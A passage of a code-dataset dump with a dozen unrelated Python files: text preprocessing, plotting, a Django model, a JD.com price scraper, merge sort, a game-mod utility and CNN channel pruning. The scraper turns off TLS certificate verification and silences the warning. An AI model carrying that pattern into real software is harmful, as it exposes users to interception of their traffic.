'r') as json_file:\n\tdata = load(json_file)\n\n\ndataset = {\"depressed\": [], \"non depressed\": []}\nreview_len = []\n# for all the flags (\"depressed\" and \"non depressed\")\nfor flag, persons in data.items():\n\t# for all the subjects name\n\tfor per_id, history in tqdm(persons.items()):\n\t\t# for all the comments of a subject\n\t\tfor sent in history:\n\t\t\t# keep only the sentences with more than 5 words\n\t\t\tsplitted_sent = sent.split(' ')\n\t\t\tif len(splitted_sent) >= 5:\n\t\t\t\tdataset[flag].append(' '.join(splitted_sent[:5]))\n\nseed(30)\nshuffle(dataset[\"depressed\"])\nseed(30)\nshuffle(dataset[\"non depressed\"])\n\ndata_testing_gen = {\"depressed\": dataset[\"depressed\"][:500], \"non depressed\": dataset[\"non depressed\"][:500]}\n\n# save the sentences\nwith open(path.join('Data', 'data_testing_gen.json'), 'w') as json_file:\n\tdump(data_testing_gen, json_file)\n","repo_name":"GiacomoBerra/Master-Thesis-GPT2","sub_path":"sentence_extaction_testing.py","file_name":"sentence_extaction_testing.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70172140907","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nipFile = open(\"input.txt\", 'r')\ncontents = ipFile.read()\ncontents = contents.lower()\n\nalphabet = [chr(i+97) for i in range(26)]\nfrequencies = [0 for i in range(26)]\nchars = 0\n\nfor i in range(len(contents)):\n index = ord(contents[i]) - 97\n if index in range(0, 26):\n frequencies[index] += 1\n chars += 1\n\nfor i in range(26):\n frequencies[i] = round(frequencies[i]/chars*100, 2)\n\ny_pos = np.arange(len(alphabet))\nplt.bar(y_pos, frequencies, align='center', alpha=0.5)\nplt.xticks(y_pos, alphabet)\nplt.ylabel('Frequencies')\nplt.show()\n\n","repo_name":"D-setia/cryptoLectures","sub_path":"lec1/freqAnalysis/freqAnalysis.py","file_name":"freqAnalysis.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30909819733","text":"from django.db import models\n\nfrom aria.core.models import BaseModel\nfrom aria.discounts.managers import DiscountQuerySet\n\n_DiscountManager = models.Manager.from_queryset(DiscountQuerySet)\n\n\nclass Discount(BaseModel):\n \"\"\"\n Sets the discount level for one or more products. Product discounts can\n be limited for specific products or time periods.\n \"\"\"\n\n name = models.CharField(max_length=100)\n description = models.TextField(blank=True, null=True)\n slug = models.SlugField()\n\n products = models.ManyToManyField(\n \"products.Product\",\n verbose_name=\"products\",\n related_name=\"discounts\",\n blank=True,\n )\n product_options = models.ManyToManyField(\n \"products.ProductOption\",\n verbose_name=\"product options\",\n related_name=\"discounts\",\n blank=True,\n )\n\n minimum_quantity = models.PositiveIntegerField(\n blank=True,\n null=True,\n help_text=(\n \"The minimum product quantity for the discount to apply per orderline. \"\n \"E.g. take 3, pay for 2, the minimum quantity would be 3.\"\n ),\n )\n maximum_quantity = models.PositiveIntegerField(\n blank=True,\n null=True,\n help_text=(\n \"The maximum product quantity the discount applies to per orderline \"\n \"E.g. max amount of 10 items per customer.\"\n ),\n )\n\n discount_gross_price = models.DecimalField(\n blank=True,\n null=True,\n max_digits=10,\n decimal_places=2,\n help_text=\"Override the gross retail price of products if set.\",\n )\n discount_gross_percentage = models.DecimalField(\n blank=True,\n null=True,\n max_digits=10,\n decimal_places=2,\n help_text=(\n \"Override the gross price of the product by this percent. \"\n \"E.g. 0.25 for 25% discount.\"\n ),\n )\n\n maximum_sold_quantity = models.PositiveIntegerField(\n blank=True,\n null=True,\n help_text=(\n \"The maximum number of product discounts given before the discount \"\n \"is ended automatically.\"\n ),\n )\n total_sold_quantity = models.PositiveIntegerField(\n blank=True,\n null=True,\n help_text=\"The amount of products this discount has been applied to.\",\n )\n display_maximum_quantity = models.BooleanField(\n default=False,\n help_text=\"Display information telling customers about maximum quantity.\",\n )\n\n active_at = models.DateTimeField(\n \"Time when discount is active from\",\n blank=True,\n null=True,\n help_text=(\n \"When the discount should be active from. \"\n \"Leave empty to activate immediately.\"\n ),\n )\n active_to = models.DateTimeField(\n \"Time when discount is active to\",\n blank=True,\n null=True,\n help_text=(\n \"When the discount should end. \"\n \"Leave emtpy to apply discount indefinitely.\"\n ),\n )\n\n ordering = models.IntegerField(\n null=True,\n help_text=(\n \"Used to order product discounts. If unset, \"\n \"product discounts will be ordered by the time of creation.\"\n ),\n )\n\n objects = _DiscountManager()\n\n class Meta:\n verbose_name = \"Discount\"\n verbose_name_plural = \"Discounts\"\n\n def __str__(self) -> str:\n return self.name\n","repo_name":"danielkjellid/aria-api","sub_path":"aria/discounts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72488839148","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QTableWidgetItem\nimport requests,re\nimport time\nimport threading\nfrom lxml import etree\nfrom pandas import DataFrame\nimport pandas as pd\nfrom Ui_jdjiadianui import Ui_MainWindow\nfrom PyQt5.QtCore import QObject, pyqtSignal\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nclass MainWindow(QtWidgets.QMainWindow, Ui_MainWindow):\n def __init__(self, parent=None):\n super(MainWindow, self).__init__(parent)\n self.setupUi(self)\n\n self.itemurlDic = initsmallCatelog(self)\n\n self.comboBox.addItems([\"大家电\"])\n\n self.comboBox_2.addItems(self.itemurlDic.keys())\n \n self.pushButton.clicked.connect(self.onGetClicked)\n\n column_name = [\n '手机名称',\n '价格',\n '商家名称',\n '评论数'\n ]\n\n self.tableWidget.setColumnCount(len(column_name))\n\n self.tableWidget.setHorizontalHeaderLabels(column_name) # 设置列名称\n\n def insertItemData(self,itemData):\n\n itemCount = self.tableWidget.rowCount()\n self.tableWidget.insertRow(itemCount);\n for i in range(0, len(itemData)):\n self.tableWidget.setItem(itemCount,i,QTableWidgetItem(itemData[i])) \n\n\n def onGetClicked(self):\n print(\"开启spider\")\n base = \"https://list.jd.com\"\n\n #for key,value in self.itemurlDic.items():\n # print(key + \" : \" + base + value)\n\n # 在 initsmallCatelog中初始化 itemurlDic\n url = base + self.itemurlDic[self.comboBox_2.currentText()]\n\n self.update_data_thread = UpdateData(url) # 启动线程 ,传递 url参数\n self.update_data_thread.update_date.connect(self.insertItemData) # 链接信号,在线程中 emit信号,调用self.insertItemData\n self.update_data_thread.start()\n\n\ndef initsmallCatelog(self):\n url = \"https://list.jd.com/list.html?cat=737,794,13701\"\n res=requests.get(url, verify=False)\n res.encoding='utf-8'\n root=etree.HTML(res.text)\n\n names = root.xpath('/html/body//div[@class=\"crumbs-nav-item\"][last()]//ul[@class=\"menu-drop-list\"]/li/a/text()')\n urls = root.xpath('/html/body//div[@class=\"crumbs-nav-item\"][last()]//ul[@class=\"menu-drop-list\"]/li/a/@href')\n itemurldic = dict(zip(names,urls))\n return itemurldic\n\ndef getItemData(self):\n jdInfoAll = DataFrame()\n\n # 手机可以得到店铺 url=\"https://list.jd.com/list.html?cat=9987,653,655&page=\"+str(i)\n\n for i in range(1,4):\n url= self._url + \"&page=\"+str(i)\n print(\"url : \" + url )\n res=requests.get(url, verify=False)\n res.encoding='utf-8'\n root=etree.HTML(res.text)\n name=root.xpath('//li[@class=\"gl-item\"]//div[@class=\"p-name\"]/a/em/text()')\n\n for i in range(0,len(name)):\n name[i]=re.sub('\\s','',name[i])\n \n shopnames = ['//li[@class=\"gl-item\"]//div[@class=\"p-shop\"]//a/text()','//li[@class=\"gl-item\"]//div[@class=\"p-shop\"]/@data-shop_name']\n #商家名称\n for shopname in shopnames:\n shopname = root.xpath(shopname)\n if len(shopname) > 0 :\n break\n\n if len(shopname) == 0:\n print(\"无法获取 商家名称\") #商家信息动态加载的, 设置成 “”\n\n #sku\n sku=root.xpath('//li[@class=\"gl-item\"]/div/@data-sku')\n\n #价格\n price=[]\n comment=[]\n for i in range(0,len(sku)):\n thissku=sku[i]\n priceurl=\"https://p.3.cn/prices/mgets?callback=jQuery6775278&skuids=J_\"+str(thissku)\n pricedata=requests.get(priceurl, verify=False)\n pricepat='\"p\":\"(.*?)\"}'\n thisprice=re.compile(pricepat).findall(pricedata.text) \n price=price+thisprice\n\n commenturl = \"https://club.jd.com/comment/productCommentSummaries.action?my=pinglun&referenceIds=\"+str(thissku)\n commentdata = requests.get(commenturl)\n commentpat = '\"CommentCount\":(.*?),\"'\n thiscomment = re.compile(commentpat).findall(commentdata.text)\n comment = comment + thiscomment\n\n #self.tableWidget.insertRow(i)\n\n #self.tableWidget.setItem( i , 0 , QTableWidgetItem('Hello'))\n\n self.update_date.emit([name[i],thisprice[0],\"xxx\",thiscomment[0]]) # 发射信号\n #self.update_date.emit([name,price,comment]) # 发射信号\n #self.tableWidget.setItem( i , 0 , new QTableWidgetItem(name))\n #self.tableWidget.setItem( i , 1 , new QTableWidgetItem(price))\n #self.tableWidget.setItem( i , 2 , new QTableWidgetItem(comment))\n #self.tableWidget.\n\n\n # jdInfo = DataFrame([name,price,shopname,comment]).T\n # jdInfo.columns=['产品名称','价格','商家名称','评论数']\n #jdInfoAll = pd.concat([jdInfoAll,jdInfo]) \n\nclass UpdateData(QtCore.QThread):\n \"\"\"更新数据类\"\"\"\n\n update_date = pyqtSignal(list) # pyqt5 支持python3的str,没有Qstring\n\n def __init__(self, url):\n super().__init__()\n self._url = url\n\n def run(self):\n #print(self.parent().urls)\n pass # pass 无意义\n getItemData(self)\n\n \"\"\"\n cnt = 0\n count = 10\n while cnt < count:\n cnt += 1\n self.update_date.emit(str(cnt)) # 发射信号\n time.sleep(0.5)\n print(cnt)\n \"\"\"\n\n \n","repo_name":"zhaokh/jdpachong","sub_path":"jdspider_workwindow.py","file_name":"jdspider_workwindow.py","file_ext":"py","file_size_in_byte":5530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35576014846","text":"import numpy as np\n\nimport models\nimport graphics as graph\n\n\ndef task1_3_solve(Tc, Ts, channels_num):\n channels_number_range = np.arange(1, channels_num + 1, 1)\n\n model = models.ModelUnlimitedQueue(client_t=Tc, handling_t=Ts, channels=1)\n plots = graph.ModelPlots(name=\"Model with limited queue\")\n\n min_channels = 0\n\n for channels in channels_number_range:\n model.channels = channels\n if model.is_a_coef_valid():\n min_channels = channels\n break\n\n if min_channels == 0:\n raise ValueError(\"'a' coefficient is more than 1 for '{}' channels\".format(channels_num))\n\n print(\"Number of channels with 'a' coefficient less than 1: \", min_channels)\n\n channels_number_range_trim = channels_number_range[min_channels - 1:]\n\n busy_coefs = []\n queue_length_expects = []\n\n for channels in channels_number_range:\n model.channels = channels\n busy_coefs.append(model.busy_coefficient())\n queue_length_expects.append(model.queue_length_expect())\n\n plots.show_feature_dep_chan(x_axis=channels_number_range, data=busy_coefs, label=\"Busy channels coefficient\")\n plots.show_feature_dep_chan(x_axis=channels_number_range, data=queue_length_expects,\n label=\"Math expect of queue length\")\n\n channels_busy = []\n busy_coefs = []\n queue_probs = []\n queue_length_expects = []\n\n for channels in channels_number_range_trim:\n model.channels = channels\n channels_busy.append(model.busy_operators())\n busy_coefs.append(model.busy_coefficient())\n queue_probs.append(model.queue_prob())\n queue_length_expects.append(model.queue_length_expect())\n\n plots.show_feature_dep_chan(x_axis=channels_number_range_trim, data=channels_busy, label=\"Math expect of busy operators\")\n plots.show_feature_dep_chan(x_axis=channels_number_range_trim, data=busy_coefs, label=\"Busy channels coefficient\")\n plots.show_feature_dep_chan(x_axis=channels_number_range_trim, data=queue_probs, label=\"Probability of queue existence\")\n plots.show_feature_dep_chan(x_axis=channels_number_range_trim, data=queue_length_expects, label=\"Math expect of queue length\")\n","repo_name":"Aruko21/RC6-AnModImModSys","sub_path":"solvers/task1_3.py","file_name":"task1_3.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"996842347","text":"#!/usr/bin/env python\nimport sys\nimport os\nimport numpy as np\nfrom matplotlib.mlab import griddata\nimport matplotlib.pyplot as plt\nimport random\n\ndef myfunc():\n temp = [random.normalvariate(50,20) for _ in xrange(100)]\n\n lat = [\"{0:.6f}\".format(random.uniform(40.25,40.46)) for _ in xrange(100)]\n long = [\"{0:.6f}\".format(random.uniform(-74.2,-74.40)) for _ in xrange(100)]\n \n x = np.random.randn(8873)\n y = np.random.randn(8873)\n '''\n plt.plot(lat, long, 'ro')\n\n plt.xlabel('latitude')\n plt.ylabel('longitude')\n plt.title('testing here')\n plt.grid(True)\n plt.savefig(\"test.png\")\n plt.show()\n '''\n heatmap, xedges, yedges = np.histogram2d(x, y, bins=50)\n extent = [xedges[0], xedges[-1], yedges[0], yedges[-1]]\n\n plt.clf()\n plt.imshow(heatmap, extent=extent)\n plt.show()\n\n \ndef main():\n temp = [random.normalvariate(50,5) for _ in xrange(100)]\n\n lat = [\"{0:.6f}\".format(random.uniform(40.42,40.46)) for _ in xrange(100)]\n long = [\"{0:.6f}\".format(random.uniform(-74.36,-74.40)) for _ in xrange(100)]\n \n a = []\n f = open('testdata.txt','w')\n for i in xrange(100):\n a.append((lat[i],long[i],temp[i]))\n if i == 99:\n f.write(str(lat[i]) + ' ' + str(long[i]) + ' ' + str(temp[i])) #don't add newline on last entry\n else:\n f.write(str(lat[i]) + ' ' + str(long[i]) + ' ' + str(temp[i]) + '|')\n #print a[i]\n #print a[0]\n \n # f.write('{location: new google.maps.LatLng(' + str(lat[i]) + ', ' + str(long[i]) + '), weight: ' + str(temp[i]) + '}') #don't add newline on last entry\n # else:\n # f.write('{location: new google.maps.LatLng(' + str(lat[i]) + ', ' + str(long[i]) + '), weight: ' + str(temp[i]) + '},\\n')\n \n # 'a' is of the format [(lats, lons, data), (lats, lons, data)... (lats, lons, data)]\n lats = [ x[0] for x in a ]\n lons = [ x[1] for x in a ]\n data = [ x[2] for x in a ]\n lat_min = min(lats)\n lat_max = max(lats)\n lon_min = min(lons)\n lon_max = max(lons)\n data_min = min(data)\n data_max = max(data)\n\n fig = plt.figure()\n\n ngrid = 500\n x = np.array(lats)\n y = np.array(lons)\n z = np.array(data)\n \n xi = np.linspace(lat_min, lat_max, ngrid)\n yi = np.linspace(lon_min, lon_max, ngrid)\n xi, yi = np.meshgrid(xi, yi)\n zi = griddata(x, y, z, xi, yi)\n \n # draw the map\n plt.xlim(lat_min, lat_max)\n plt.ylim(lon_min, lon_max)\n cs = plt.contourf(xi, yi, zi, 20, linewidths=1)\n plt.scatter(x, y, c=z, s=20)\n plt.colorbar(cs, shrink = 0.8, extend=\"both\")\n\n plt.show()\n \nif __name__ == '__main__':\n main()","repo_name":"sbakht/Submarine","sub_path":"visualization/testgraph.py","file_name":"testgraph.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73687286507","text":"\nsecret_word='peruano'\nhint=\"_\"*len(secret_word)\nprint('Welcome to the word guessing game!')\nprint()\nprint(f'your hint have {len(secret_word)} letters: {hint}')\n\nplay=False\n\nwhile(play==False):\n \n display=''\n user_word=input('what is your guess? :')\n if(len(secret_word)==len(user_word)):\n i=0\n while i<(len(user_word)):\n j=0\n correct_guess=0\n while j<(len(secret_word)-1):\n if (user_word[i]==secret_word[j]):\n \n if j==i:\n display=display+user_word[i].upper()\n correct_guess=1\n else:\n display=display+user_word[i].lower()\n correct_guess=1 \n j=j+1 \n\n if correct_guess==0:\n display=display+'_' \n \n i=i+1\n \n play=False\n \n else:\n print('Sorry, the guess myst have the same number of letter as the secret word')\n play=False\n \n print(f'Your hint is: {display}') \n if(secret_word.lower()==display.lower()):\n print('Congratulations! You guessed it!')\n play=True\n else:\n play=False\n\n \n\n \n \n \n\n ","repo_name":"carlospoma23/BYUI","sub_path":"semester1/ces110/week7/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12718692200","text":"############################################################################################\n# Name: Peter Moldenhauer\n# Class: CS 325-400\n# Date: 9/25/17\n# Description: This program implements the merge sort algorithm.\n# It reads in input data from data.txt and outputs data to merge.out\n#\n# Note: To complete this implementation of the merge sort algorithm,\n# I used the following resources:\n# 1) The \"using induction to prove the correctness of algorithms\" class lecture video\n# 2) The website: https://rosettacode.org/wiki/Sorting_algorithms/Merge_sort\n# 3) The website: https://teamtreehouse.com/community/merge-sort-in-python\n#############################################################################################\n\n# used to get programs execution time\nimport time\nstartTime = time.time()\n\n# mergeSort function\ndef mergesort(theArray):\n # if the array has only one element just return the array\n if len(theArray) == 1:\n return theArray\n # otherwise recursively call mergeSort on both parts of theArray\n else:\n # get the midpoint of theArray\n midpoint = len(theArray)/2\n firstHalf = mergesort(theArray[:midpoint])\n secondHalf = mergesort(theArray[midpoint:])\n return merge(firstHalf, secondHalf)\n\n# merge helper function for mergeSort\ndef merge(firstHalf, secondHalf):\n # empty array to hold sorted values\n sortedArray = []\n # add to sortedArray until either firstHalf or secondHalf of the array is empty\n while len(firstHalf) != 0 and len(secondHalf) != 0:\n if firstHalf[0] < secondHalf[0]:\n sortedArray.append(firstHalf[0])\n firstHalf.remove(firstHalf[0])\n else:\n sortedArray.append(secondHalf[0])\n secondHalf.remove(secondHalf[0])\n # add the remaining value to sortedArray\n if len(firstHalf) == 0:\n sortedArray += secondHalf\n else:\n sortedArray += firstHalf\n return sortedArray\n\n# open input file and create output file\ninput_file = open('data.txt', 'r')\noutput_file = open('merge.out', 'w')\n\n# convert the string from input file to an array of characters\narrayIn = input_file.readline().split(' ')\n\n# loop through the array, sort it and get another array to sort (if applicable)\nwhile arrayIn != ['']:\n # convert array of character to array of integers\n arrayIn = map(int, arrayIn)\n\n # discard the first number, first number is array length (for C++ users)\n arrayIn = arrayIn[1:]\n\n # call mergesort function to sort the array\n arrayOut = mergesort(arrayIn)\n\n # output the sorted array to the output file\n output_file.write(' '.join(map(str, arrayOut)))\n output_file.write('\\n')\n\n # get the next array in data.txt (if applicable)\n arrayIn = input_file.readline().split(' ')\n\n# close the files\ninput_file.close()\noutput_file.close()\n\n# print the programs execution time\nprint(\"--- %s seconds ---\" % (time.time() - startTime))\n","repo_name":"Peter-Moldenhauer/Algorithms-For-School","sub_path":"Assignment 1/mergesort.py","file_name":"mergesort.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42592575876","text":"#\n# Get the current working directory of this script.\n#\n# The join() call prepends the current working directory, but the\n# documentation says that if some path is absolute, all other paths left\n# of it are dropped. Therefore, getcwd() is dropped when dirname(__file__)\n# returns an absolute path. The realpath call resolves symbolic links if\n# any are found.\n#\n__location__ = os.path.realpath(\n os.path.join(os.getcwd(), os.path.dirname(__file__)))\n\n#\n# Create a config parser instance and read in the config file, located\n# in the same directory as this script.\n#\nconf = configparser.ConfigParser()\nconf.read(os.path.join(__location__, 'prkeeper.conf'))\n\n# Download settings\ndownload_path = conf['downloads']['download_path']\nstatus_file = conf['downloads']['status_file']\n\n# Logging settings\nlogfile = conf['logging']['logfile']\nlog_to_console = conf['logging']['log_to_console']\nlog_to_file = conf['logging']['log_to_file']","repo_name":"bradleyfrank/notes-etc","sub_path":"scripts/Python/config_parser.py","file_name":"config_parser.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9121780060","text":"\"\"\"Script that creates the extra DrawParam slot for maps in Dark Souls 1.\n\nIn the vanilla game, only map area 15 (Sen's Fortress and Anor Londo) uses the additional DrawParam slot, but it works\nfor all maps. The slot can be changed with the EMEVD instruction `SetMapDrawParamSlot`, but note that this will affect\nall map blocks in that area (e.g. Firelink Shrine, Undead Burg, and the Depths will all change slot together). The slot\nis always set to 0 when the map is loaded.\n\nUnfortunately, no more than two slots can be used; the renderer glitches out with insane colors when slot 2 is assigned,\nand shows nothing when any other slots are assigned.\n\"\"\"\nimport logging\nfrom pathlib import Path\n\nfrom soulstruct.containers import Binder\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef add_draw_slot_1_to_all_map_areas(game_root_path):\n \"\"\"Add the second draw slot (slot 1) to all `aXX_DrawParam.parambnd[.dcx]` files that don't already have one.\"\"\"\n game_root_path = Path(game_root_path)\n for parambnd_path in game_root_path.glob(\"param/DrawParam\"):\n if parambnd_path.name.startswith(\"a\"):\n add_draw_slot_1_to_drawparam(parambnd_path)\n\n\ndef add_draw_slot_1_to_map_area(game_root_path, map_area_id):\n parambnd_path = Path(game_root_path) / f\"param/DrawParam/a{map_area_id}_DrawParam.parambnd\"\n try:\n return add_draw_slot_1_to_drawparam(parambnd_path)\n except FileNotFoundError:\n raise FileNotFoundError(f\"Could not locate DS1 DrawParam file for map area {map_area_id}.\")\n\n\ndef add_draw_slot_1_to_drawparam(parambnd_path):\n \"\"\"Add the second draw slot (slot 1) to the given `aXX_DrawParam.parambnd[.dcx]` file, if it doesn't already have a\n second slot (which only `a15_DrawParam.parambnd` does in vanilla).\n\n All draw parameters will be copied from slot 0.\n \"\"\"\n parambnd_path = Path(parambnd_path)\n if not parambnd_path.is_file():\n raise FileNotFoundError(f\"Could not locate DrawParam file: {str(parambnd_path)}\")\n draw_param = Binder(parambnd_path)\n\n if len(draw_param) != 12:\n _LOGGER.info(f\"DrawParam file {str(parambnd_path)} already has more than one slot.\")\n return\n\n try:\n area_id = parambnd_path.name.split(\"_\")[0][1:]\n except IndexError:\n raise ValueError(f\"Could not determine map area ID from DrawParam file name: {parambnd_path.name}\")\n\n # slot 1 files ('mXX_1_LightBank') come before slot 0 files ('mXX_LightBank'), which are both before 'sXX_LightBank'\n s_ambient = draw_param[11]\n draw_param.remove_entry(11)\n for i in range(11):\n slot_0 = draw_param[i].copy()\n slot_0.id += 11\n draw_param[i].path = draw_param[i].path.replace(f\"m{area_id}_\", f\"m{area_id}_1_\")\n draw_param.add_entry(slot_0)\n s_ambient_0 = s_ambient.copy()\n s_ambient_0.id = 23\n s_ambient.path = s_ambient.path.replace(f\"s{area_id}_\", f\"s{area_id}_1_\")\n s_ambient.id = 22\n draw_param.add_entry(s_ambient)\n draw_param.add_entry(s_ambient_0)\n draw_param.write()\n","repo_name":"Grimrukh/soulstruct","sub_path":"soulstruct/darksouls1r/utilities/add_draw_slots.py","file_name":"add_draw_slots.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"37"} +{"seq_id":"37528260763","text":"\n\"\"\"\nThis is Channel Pruning reproduct,but only for pruning one layer\nAuthor: YQ\ndata:2018-1-25\nFunction: 1. Low rank 2. channel prune\n\n\"\"\"\n# 1. set import libs\nimport numpy as np\nfrom sklearn.linear_model import *\nimport sys, json\nsys.path.insert(0, 'D:/Deep_Learning/Win_Caffe/caffe-blvc/python')\nimport caffe\nfrom google.protobuf import text_format\nimport google.protobuf as pb\nfrom argparse import ArgumentParser\nfrom caffe.proto.caffe_pb2 import NetParameter, LayerParameter\nfrom util import * # my function\ndevice=0 # 0 is cpu ; 1 is gpu\nif device:\n caffe.set_mode_gpu()\n caffe.set_device(0)\nelse:\n caffe.set_mode_cpu()\n#%%\nmodel_def = 'D:/INstall_files/channel_pruning/train_val.prototxt'\nmodel_weights = 'D:/INstall_files/channel_pruning/vgg16__iter_10000.caffemodel'\n\nf, t =model_def.split(\".\")\nfw, tw = model_weights.split(\".\")\n\nmodel_lr_def = f+'_lr.'+t\nmodel_lr_weights = fw+'_lr.'+tw\n\nmodel_cp_def = f+'_lr_cp.' +t\nmodel_cp_weights = fw+'_lr_cp.'+tw\n\nif 0:\n print('lr_def =',model_lr_def)\n print('lr_weights =',model_lr_weights)\n print('channel def = ', model_cp_def)\n print('channel weights =', model_cp_weights)\n\nconf = load_config('D:/CodeBook/Python/lowrankcnn/imagenet/models_vgg/config.json')\nprune_names = [name+'_h' for name in conf if name!='conv5_3'] # don`t remove con5_3\n\n# store cratio every layer\nconf_cratio = load_config('D:/CodeBook/Python/lowrankcnn/imagenet/models_vgg/config_cratio.json')\n#cratios=[conf_cratio[x[:-2]] for x in prune_names]\n# Low Rank Decomposes\nif 1:\n make_lowrank_model(model_def, conf, model_lr_def)\n \n approx_lowrank_weights(model_def, model_weights, conf, model_lr_def,\n model_lr_weights)\n\nprint('Low Rank Done')\n\n\n#bottom_layer_name =\"pool1\" # (1, 64, 112, 112) # we will channel prune on this layer ,So we change num_output on this layer\n# conv1_2_h - > relu -> pool so prune channel of conv1_2_h layer\n#top_layer_name = \"conv2_1_v\" # (1, 48 ,224, 224)\n#prune_layer_name = \"conv1_2_h\"\n\ncfg=dict()\ncfg['nPointsPerLayer'] = 10\ncfg['nBatch'] = 500\ncfg['c_ratio'] = 0.869\ncfg['alpha'] = 1e-3\nN = cfg['nBatch'] * cfg['nPointsPerLayer']\n\n\nfor prune_layer_name in prune_names:\n cfg['c_ratio'] = conf_cratio[prune_layer_name[:-2]] # c_ratio\n\n lr_net = caffe.Net(model_lr_def , model_lr_weights, caffe.TEST)\n convs_name = lr_net._blob_names\n#if prune_layer_name=='conv1_2_h':\n print(\"-----------------------------------------\")\n print(\" Start channel prune :\", prune_layer_name, 'C_ratio = ',cfg['c_ratio'])\n print('------------------------------------------')\n\n bottom_layer_name, top_layer_name = extract_layer_name(lr_net, prune_layer_name)\n\n params = get_layer_params(model_lr_def, top_layer_name)\n print('layer params :', params)\n cfg['params']= params #(pad_h, pad_w, k_h, k_w)\n pad_h, pad_w, k_h, k_w = params\n\n samples =np.random.randint(0, N, 250)\n \n X, w2, b2 ,Y, c_in, c_out = extract_feat(prune_layer_name, cfg, lr_net)\n reX = np.rollaxis(X.reshape((N,c_in, -1))[samples], 1, 0) #(64, 250 , 3*3)\n reW2 = np.transpose(w2.reshape((c_out, c_in, -1)),[1, 2, 0])\n\n reY = Y[samples].reshape(-1)\n Z =np.matmul(reX, reW2).reshape((c_in, -1)).T\n #Z = relu(Z)\n\n _solver = Lasso(alpha=1e-4, warm_start=True,selection='random' )\n def solve(alpha):\n _solver.alpha=alpha\n _solver.fit(Z, reY)\n \n idxs = _solver.coef_ != 0\n tmp = sum(idxs)\n if 1:print('Lasso score is ',_solver.score(Z,reY),end='\\t')\n return idxs, tmp\n\n left = 0\n right = cfg['alpha']\n lbound = int(c_in * cfg['c_ratio']) # 64 * 0.869 ~ 55\n rank = lbound\n rbound = 1.1*lbound\n\n while True:\n _, tmp =solve(right)\n\n if tmp<rank:\n break\n else:\n right *=2\n if 1:print(\"right is \",right, 'tmp is', tmp)\n if 0: print(prune_layer_name+'- Lasso Regression Done.')\n\n while True:\n alpha = (left+right)/2\n idxs, tmp = solve(alpha)\n\n if 1:print('tmp=%d, alpha=%f, left=%f, right=%f'%(tmp, alpha, left,right))\n if tmp > rbound:\n left =alpha\n elif tmp < lbound:\n right = alpha\n else:\n break\n\n if 1:print(prune_layer_name+\" - check again: rank is \",tmp)\n rank = tmp\n\n newW2, newB2 = fc_kernel(X[:, idxs, ...].reshape((N,-1)), Y, W=w2[:, idxs, ...].reshape(c_out, -1), B=b2)\n newW2= newW2.reshape((c_out, rank, k_h, k_w))\n\n w2[:, ~idxs, ...]= 0\n w2[:, idxs, ...]=newW2.copy()\n\n newWeight2 = w2[:, idxs, ...] # (48, 55 , 3 ,1)\n if 1: \n res = rel_error(X.reshape(X.shape[0],-1).dot(w2.reshape(w2.shape[0],-1).T),Y)\n print(\"After Lasso, rMSE =\", res)\n res_relu = rel_error(relu(X.reshape(X.shape[0],-1).dot(w2.reshape(w2.shape[0],-1).T)),Y)\n print('After Lasso, rMSE-relu =', res_relu)\n \n \"\"\"generator new protobuf\"\"\"\n make_channel_pruning_model(model_lr_def, model_cp_def, prune_layer_name, rank) # (64) -> 55\n\n \"\"\"generator new weights\"\"\"\n channel_net = caffe.Net(model_cp_def, caffe.TEST)\n for layer_name, param in channel_net.params.items(): \n if layer_name == prune_layer_name:\n orig_w , orig_b = [p.data for p in lr_net.params[layer_name]]\n param[0].data[...] = orig_w[idxs,...].copy()\n param[1].data[...] = orig_b[idxs,...].copy()\n elif layer_name == top_layer_name:\n param[0].data[...] = newWeight2.copy()\n param[1].data[...] = b2.reshape(param[1].data.shape).copy()\n else:\n orig_w , orig_b = [p.data for p in lr_net.params[layer_name]]\n new_w , new_b = param[0].data, param[1].data\n new_w[...]=orig_w.copy()\n new_b[...]=orig_b.copy()\n \n channel_net.save(model_cp_weights)\n print(prune_layer_name)\n\n model_lr_def = model_cp_def\n model_lr_weights = model_cp_weights\n\nprint('Low -Rank and Channel Pruning Done!!')\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ReProduceByYQ/Channel_pruning_yq","sub_path":"low_rank_and_channel_pruning.py","file_name":"low_rank_and_channel_pruning.py","file_ext":"py","file_size_in_byte":6034,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"13657553153","text":"from django.shortcuts import render\nfrom .services.summoner_data import SummonerData\nfrom .utils import get_game_type\nimport os\nfrom django.conf import settings\n\ndef home(request):\n return render(request, 'summoner_dashboard/main_page.html')\n\n\ndef summoner_info(request, summoner_name):\n api_key = settings.API_KEY\n \n summoner = SummonerData(summoner_name, api_key)\n summoner_data = summoner.league_data()\n recent_matches_data = summoner.recent_matches_data()\n top_champs_data = 